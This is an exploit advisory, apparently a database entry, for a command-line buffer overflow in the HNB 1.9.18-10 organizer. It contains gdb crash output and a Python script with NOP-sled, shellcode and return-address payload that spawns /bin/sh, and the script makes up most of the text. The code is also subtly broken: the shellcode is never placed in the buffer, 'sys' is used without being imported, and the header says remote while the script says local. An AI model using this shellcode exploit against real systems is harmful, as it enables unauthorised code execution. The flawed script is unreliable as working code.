HNB 1.9.18-10 Buffer Overflow

2016.06.28
Credit: Juan Sacco
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

# Exploit developed using Exploit Pack v5.4 # Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com # Program affected: HNB - Organizer # Version: 1.9.18-10 # # Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org # Program description: Hnb is an ncurses program to organize many kinds of data in one place, for # example addresses, todo lists, ideas, book reviews or to store snippets of # brainstorming. # Kali Linux 2.0 package: pool/main/h/hnb/hnb_1.9.18-10_i386.deb # MD5sum: 1e1ff680f6e94a1a28ca85eeb3ea6aa0 # Website:http://hnb.sourceforge.net/ # # gdb$ run -rc `python -c 'print "A"*108'` # Starting program: /usr/bin/hnb -rc `python -c 'print "A"*108'` # *** buffer overflow detected ***: /usr/bin/hnb terminated # ======= Backtrace: ========= # /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x6c773)[0xb7e14773] # /lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x45)[0xb7ea4b85] # /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xfac3a)[0xb7ea2c3a] # /lib/i386-linux-gnu/i686/cmov/libc.so.6(__strcpy_chk+0x37)[0xb7ea2127] # /usr/bin/hnb[0x8049669] # /lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xf3)[0xb7dc1a63] # /usr/bin/hnb[0x804a2d9] # ======= Memory map: ======== # 08048000-0806e000 r-xp 00000000 08:01 2253992 /usr/bin/hnb # 0806e000-0806f000 r--p 00025000 08:01 2253992 /usr/bin/hnb # 0806f000-08070000 rw-p 00026000 08:01 2253992 /usr/bin/hnb # 08070000-080b1000 rw-p 00000000 00:00 0 [heap] import os, subprocess def run(): try: print "# HNB Organizer - Local Buffer Overflow by Juan Sacco" print "# This Exploit has been developed using Exploit Pack" # NOPSLED + SHELLCODE + EIP buffersize = 108 nopsled = "\x90"*40 shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" eip = "\x40\xf3\xff\xbf" buffer = nopsled * (buffersize-len(shellcode)) + eip subprocess.call(["hnb -rc",' ', buffer]) except OSError as e: if e.errno == os.errno.ENOENT: print "Sorry, HNB File Viewer - Not found!" else: print "Error executing exploit" raise def howtousage(): print "Snap! Something went wrong" sys.exit(-1) if __name__ == '__main__': try: print "Exploit HNB 1.9.18-10 Local Overflow Exploit" print "Author: Juan Sacco - Exploit Pack" except IndexError: howtousage() run()


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